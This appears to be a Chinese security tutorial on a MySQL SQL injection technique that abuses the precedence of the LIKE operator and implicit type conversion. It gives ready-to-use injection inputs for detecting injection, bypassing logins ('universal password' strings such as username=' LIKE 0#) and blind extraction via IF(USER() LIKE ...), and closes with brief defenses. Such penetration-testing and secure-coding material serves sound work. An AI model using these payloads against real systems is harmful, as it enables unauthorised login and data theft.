由一条like语句引发的SQL注入新玩法
字数 914 2025-08-19 12:41:56
SQL注入新技巧:基于LIKE语句的注入方法详解
0x01 前言
本文介绍了一种基于MySQL LIKE语句的新型SQL注入技术,该技术可以用于SQL注入检测、盲注以及构造"万能密码"等场景。这种技术利用了MySQL中LIKE运算符的优先级和类型转换特性。
0x02 技术原理
0x02.1 运算符优先级
在MySQL中,LIKE运算符的优先级高于=运算符,因此以下两条SQL语句是等价的:
SELECT * FROM admin WHERE name=1 LIKE 2;
SELECT * FROM admin WHERE name=(1 LIKE 2);
0x02.2 类型差异影响
整型字段情况
当字段类型为整型(int)时:
- 当表达式为True时(1 LIKE 1),效果等同于
id=1 - 当表达式为False时(1 LIKE 2),效果等同于
id=0
示例:
SELECT * FROM users WHERE id=1 LIKE 1; -- 返回id=1的记录
SELECT * FROM users WHERE id=1 LIKE 2; -- 返回空结果(因为id=0通常不存在)
字符串字段情况
当字段类型为字符串时:
- 当表达式为True时,效果等同于
or 1=0 - 当表达式为False时,效果等同于
or 1=1
示例:
SELECT * FROM users WHERE username=1 LIKE 2; -- 相当于username=False or 1=1
0x03 其他应用技巧
列名存在性检测
SELECT * FROM users WHERE username=column_name LIKE 1;
- 如果column_name存在,返回正常结果
- 如果column_name不存在,会报错
排除特定项
SELECT * FROM users WHERE username=1 LIKE (id!=1);
可以用于排除特定ID的记录
0x04 实际应用场景
0x04.1 SQL注入检测
在整型参数中检测:
?id=1' LIKE 1# -- 正常返回
?id=1' LIKE 0# -- 返回空
在字符串参数中检测:
?username=admin' LIKE 1# -- 返回空
?username=admin' LIKE 0# -- 返回所有记录
0x04.2 构造万能密码
利用字符串字段的特性构造登录绕过:
username=' LIKE 0# -- 任何密码都可登录
password=anything
或者:
username='+False# -- 同样效果
password=anything
0x04.3 盲注利用
可以结合IF函数进行盲注:
1 LIKE (IF(USER() LIKE 'a%',1,2))
通过观察返回结果判断条件是否为真
0x05 技术细节与注意事项
-
隐式类型转换:MySQL在进行比较时会自动进行类型转换,字符串与数字比较时会将字符串转为浮点数
-
局限性:
- 字符串字段中使用时,类似
or 1=1但不会匹配所有内容(如"1aaa"这样的内容不会被匹配) - 整型字段中使用时,只能检测是否存在特定ID的记录
- 字符串字段中使用时,类似
-
防御措施:
- 使用参数化查询
- 对用户输入进行严格过滤
- 避免动态拼接SQL语句
0x06 总结
这种基于LIKE语句的SQL注入技术虽然不算全新,但提供了一些有趣的攻击向量,特别是在:
- 快速检测SQL注入漏洞
- 构造登录绕过("万能密码")
- 进行盲注攻击
安全开发人员应当了解这种技术以更好地防御相关攻击。对于渗透测试人员,这提供了又一种检测和利用SQL注入的方法。